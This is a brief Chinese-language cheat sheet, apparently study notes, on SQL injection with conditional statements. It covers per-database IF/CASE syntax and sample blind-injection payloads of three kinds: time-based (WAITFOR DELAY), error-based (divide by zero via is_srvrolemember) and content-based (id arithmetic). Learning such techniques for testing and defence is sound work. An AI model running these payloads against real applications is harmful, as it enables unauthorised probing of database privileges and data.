SQLi-使用条件语句
数据库 | 查询 |
---|---|
SQL Server | IF(‘a’ = ‘a’)SELECT 1 ELSE SELECT 2 |
MySQL | SELECT IF(‘a’, 1, 2) |
Oracle | SELECT CASE WHEN ‘a’ = ‘a’ THEN 1 ELSE 2 |
PostgreSQL | SELECT CASE WHEN(1 = 1) THEN ‘a’ ELSE ‘b’ END |
- 基于时间的注入(感觉速度会很慢?)
- 如果满足条件就延迟5s(或其他时间)
IF (system_user = 'sa') WAITFOR DELAY '0:0:5' IF (substring((select @@version), 25, 1) = 5) WAITFOR DELAY '0:0:5'
- 如果满足条件就延迟5s(或其他时间)
- 基于错误的注入
- 比如除0
?id=12 / is_srvrolemember('sysadmin')
- 比如除0
- 基于内容的注入
- 比如
条件成功返回id=13的商品, 否则返回id=12的porducts.asp?id = 12 + (case when (system_user = 'sa') then 1 else 0 end)
- 比如